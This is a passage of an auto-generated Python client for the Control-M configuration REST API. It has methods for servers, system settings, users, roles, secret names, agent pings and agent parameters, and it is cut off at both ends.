kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_servers_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_servers_with_http_info(**kwargs) # noqa: E501
return data
def get_servers_with_http_info(self, **kwargs): # noqa: E501
"""get all the Servers name and hostname in the system # noqa: E501
Get the names and hostnames of all Servers in the system. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_servers_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: CtmDetailsList
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_servers" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/servers', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='CtmDetailsList', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_system_setting(self, **kwargs): # noqa: E501
"""Get system setting for Control-M environment # noqa: E501
Get system setting for Control-M environment # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_system_setting(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: Server to which the system settings are applied
:return: SystemSetting
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_system_setting_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_system_setting_with_http_info(**kwargs) # noqa: E501
return data
def get_system_setting_with_http_info(self, **kwargs): # noqa: E501
"""Get system setting for Control-M environment # noqa: E501
Get system setting for Control-M environment # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_system_setting_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: Server to which the system settings are applied
:return: SystemSetting
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_system_setting" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'server' in params:
query_params.append(('server', params['server'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/systemsettings', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SystemSetting', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_user(self, user, **kwargs): # noqa: E501
"""Get user # noqa: E501
Get user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user(user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:return: UserData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_user_with_http_info(user, **kwargs) # noqa: E501
else:
(data) = self.get_user_with_http_info(user, **kwargs) # noqa: E501
return data
def get_user_with_http_info(self, user, **kwargs): # noqa: E501
"""Get user # noqa: E501
Get user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_with_http_info(user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:return: UserData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `get_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user/{user}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='UserData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_user_effective_rights(self, **kwargs): # noqa: E501
"""Get user real effective authorizations # noqa: E501
Get user real effective authorizations by all his roles # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_effective_rights(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: RoleData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_user_effective_rights_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_user_effective_rights_with_http_info(**kwargs) # noqa: E501
return data
def get_user_effective_rights_with_http_info(self, **kwargs): # noqa: E501
"""Get user real effective authorizations # noqa: E501
Get user real effective authorizations by all his roles # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_user_effective_rights_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: RoleData
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_effective_rights" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user/effectiveRights', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RoleData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_zos_templates(self, server, agent, **kwargs): # noqa: E501
"""Get z/OS Templates # noqa: E501
Get z/OS Templates # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_zos_templates(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str name: The z/OS Template Name
:return: list[ZosTemplateData]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_zos_templates_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.get_zos_templates_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def get_zos_templates_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""Get z/OS Templates # noqa: E501
Get z/OS Templates # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_zos_templates_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str name: The z/OS Template Name
:return: list[ZosTemplateData]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_zos_templates" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_zos_templates`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_zos_templates`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
if 'name' in params:
query_params.append(('name', params['name'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/zostemplates', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ZosTemplateData]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def import_role(self, role_file, **kwargs): # noqa: E501
"""Import Authorization Role # noqa: E501
Import Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.import_role(role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file role_file: File with contenet of RoleDataFull. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.import_role_with_http_info(role_file, **kwargs) # noqa: E501
else:
(data) = self.import_role_with_http_info(role_file, **kwargs) # noqa: E501
return data
def import_role_with_http_info(self, role_file, **kwargs): # noqa: E501
"""Import Authorization Role # noqa: E501
Import Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.import_role_with_http_info(role_file, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file role_file: File with contenet of RoleDataFull. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role_file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method import_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role_file' is set
if self.api_client.client_side_validation and ('role_file' not in params or
params['role_file'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role_file` when calling `import_role`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'role_file' in params:
local_var_files['roleFile'] = params['role_file'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/import', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_secrets(self, **kwargs): # noqa: E501
"""Get list of secret names # noqa: E501
Get the list of names of all the secrets in the vault # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_secrets(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: StringListResult
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_secrets_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.list_secrets_with_http_info(**kwargs) # noqa: E501
return data
def list_secrets_with_http_info(self, **kwargs): # noqa: E501
"""Get list of secret names # noqa: E501
Get the list of names of all the secrets in the vault # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_secrets_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: StringListResult
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_secrets" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/secrets', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='StringListResult', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def ping_agent(self, server, agent, **kwargs): # noqa: E501
"""ping to the agent in the Server # noqa: E501
Ping an Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.ping_agent(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent. (required)
:param PingAgentParams body:
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.ping_agent_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.ping_agent_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def ping_agent_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""ping to the agent in the Server # noqa: E501
Ping an Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.ping_agent_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent. (required)
:param PingAgentParams body:
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method ping_agent" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `ping_agent`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `ping_agent`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/ping', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def recycle_item(self, id, **kwargs): # noqa: E501
"""recycle item # noqa: E501
Recycle an item # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.recycle_item(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: item data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.recycle_item_with_http_info(id, **kwargs) # noqa: E501
else:
(data) = self.recycle_item_with_http_info(id, **kwargs) # noqa: E501
return data
def recycle_item_with_http_info(self, id, **kwargs): # noqa: E501
"""recycle item # noqa: E501
Recycle an item # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.recycle_item_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: item data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method recycle_item" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in params or
params['id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `id` when calling `recycle_item`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/item/{id}/recycle', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def set_agent_parameter(self, server, agent, name, **kwargs): # noqa: E501
"""set agent parameter # noqa: E501
Set the value of the specified parameter in the specified agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_agent_parameter(server, agent, name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to update. (required)
:param str name: The parameter name. (required)
:param OptionalValue body: The new parameter value.
:return: KeyValue
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.set_agent_parameter_with_http_info(server, agent, name, **kwargs) # noqa: E501
else:
(data) = self.set_agent_parameter_with_http_info(server, agent, name, **kwargs) # noqa: E501
return data
def set_agent_parameter_with_http_info(self, server, agent, name, **kwargs): # noqa: E501
"""set agent parameter # noqa: E501
Set the value of the specified parameter in the specified agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_agent_parameter_with_http_info(server, agent, name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to update. (required)
:param str name: The parameter name. (required)
:param OptionalValue body: The new parameter value.
:return: KeyValue
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'name', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method set_agent_parameter" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `set_agent_parameter`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `set_agent_parameter`") # noqa: E501
# verify the required parameter 'name' is set
if self.api_client.client_side_validation and ('name' not in params or
params['name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `name` when calling `set_agent_parameter`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/param/{name}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='KeyValue', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def set_system_setting(self, systemsetting, **kwargs): # noqa: E501
"""Set system setting for Control-M environment # noqa: E501
Set system setting for Control-M environment # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_system_setting(systemsetting, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file systemsetting: System Setting JSON file (required)
:param file saml2metadatafile: SAML2 Identity Provider Metadata file to upload
:param str server: Server to which the system settings are applied
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.set_system_setting_with_http_info(systemsetting, **kwargs) # noqa: E501
else:
(data) = self.set_system_setting_with_http_info(systemsetting, **kwargs) # noqa: E501
return data
def set_system_setting_with_http_info(self, systemsetting, **kwargs): # noqa: E501
"""Set system setting for Control-M environment # noqa: E501
Set system setting for Control-M environment # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_system_setting_with_http_info(systemsetting, async_req=True)
>>> result = thread.get()
:param async_req bool
:param file systemsetting: System Setting JSON file (required)
:param file saml2metadatafile: SAML2 Identity Provider Metadata file to upload
:param str server: Server to which the system settings are applied
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['systemsetting', 'saml2metadatafile', 'server'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method set_system_setting" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'systemsetting' is set
if self.api_client.client_side_validation and ('systemsetting' not in params or
params['systemsetting'] is None): # noqa: E501
raise ValueError("Missing the required parameter `systemsetting` when calling `set_system_setting`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'server' in params:
query_params.append(('server', params['server'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
if 'systemsetting' in params:
local_var_files['systemsetting'] = params['systemsetting'] # noqa: E501
if 'saml2metadatafile' in params:
local_var_files['saml2metadatafile'] = params['saml2metadatafile'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/systemsettings', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def set_user_preferences(self, user_name, user_preferences, **kwargs): # noqa: E501
"""Set user preferences by user name # noqa: E501
Set user preferences by user name. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_user_preferences(user_name, user_preferences, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_name: The name of the user (required)
:param UserPreferences user_preferences: The new value of UserPreferences to set (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.set_user_preferences_with_http_info(user_name, user_preferences, **kwargs) # noqa: E501
else:
(data) = self.set_user_preferences_with_http_info(user_name, user_preferences, **kwargs) # noqa: E501
return data
def set_user_preferences_with_http_info(self, user_name, user_preferences, **kwargs): # noqa: E501
"""Set user preferences by user name # noqa: E501
Set user preferences by user name. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_user_preferences_with_http_info(user_name, user_preferences, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user_name: The name of the user (required)
:param UserPreferences user_preferences: The new value of UserPreferences to set (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_name', 'user_preferences'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method set_user_preferences" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_name' is set
if self.api_client.client_side_validation and ('user_name' not in params or
params['user_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user_name` when calling `set_user_preferences`") # noqa: E501
# verify the required parameter 'user_preferences' is set
if self.api_client.client_side_validation and ('user_preferences' not in params or
params['user_preferences'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user_preferences` when calling `set_user_preferences`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'user_name' in params:
query_params.append(('userName', params['user_name'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'user_preferences' in params:
body_params = params['user_preferences']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user/preferences', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def test_run_as_user(self, server, agent, user, **kwargs): # noqa: E501
"""Test existed Run-as user # noqa: E501
Test existing Run-as user in server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.test_run_as_user(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:param RunAsUserDetailsData run_as_user_details_data: Run as user details data
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.test_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
else:
(data) = self.test_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
return data
def test_run_as_user_with_http_info(self, server, agent, user, **kwargs): # noqa: E501
"""Test existed Run-as user # noqa: E501
Test existing Run-as user in server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.test_run_as_user_with_http_info(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:param RunAsUserDetailsData run_as_user_details_data: Run as user details data
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'user', 'run_as_user_details_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
